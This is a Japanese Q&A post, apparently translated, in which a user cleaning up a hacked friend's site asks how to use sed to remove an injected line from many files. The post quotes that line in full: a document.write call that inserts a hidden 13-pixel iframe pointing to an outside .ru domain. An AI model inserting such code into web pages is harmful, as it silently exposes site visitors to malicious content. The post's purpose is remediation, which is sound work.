sedは、複数の特殊文字を含む文字列を再帰的に見つけて削除します。

sedは、複数の特殊文字を含む文字列を再帰的に見つけて削除します。

複雑な文字列を処理するのに大きな問題があります。友達のサイトがハッキングされ閉鎖されました。しかし、私は残りの混乱を整理するのを手伝っています。

各ディレクトリに再帰し、ファイルの末尾に次の文字列がある場合は、その文字列を削除します。

;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');

ご覧のとおり、文字列には一重引用符と二重引用符だけでなく、他の特殊文字も含まれています。各特殊文字の前に\エスケープを追加してみましたが、うまくいかないようです。私はこれを試しました:

grep -rl efficienttrue.ru . | xargs sed -i "s/\;document\.write\(\'\<iframe\ src\=\"http\:\/\/efficienttrue\.ru\/upwherehandpainted\.cgi\?8\"\ scrolling\=\"auto\"\ frameborder\=\"no\"\ align\=\"center\"\ height\=\"13\"\ width\=\"13\"\>\<\/iframe\>\'\)\;/\/g"

ただし、次のエラーが発生します。

sed: -e expression #1, char 201: unterminated `s' command

ベストアンサー1

次のようなものを探しているようです。

sed '${s/document\.write([^)]*);//}'

ただし、損傷を修復するためにこの手順を使用しないことをお勧めします。

おすすめ記事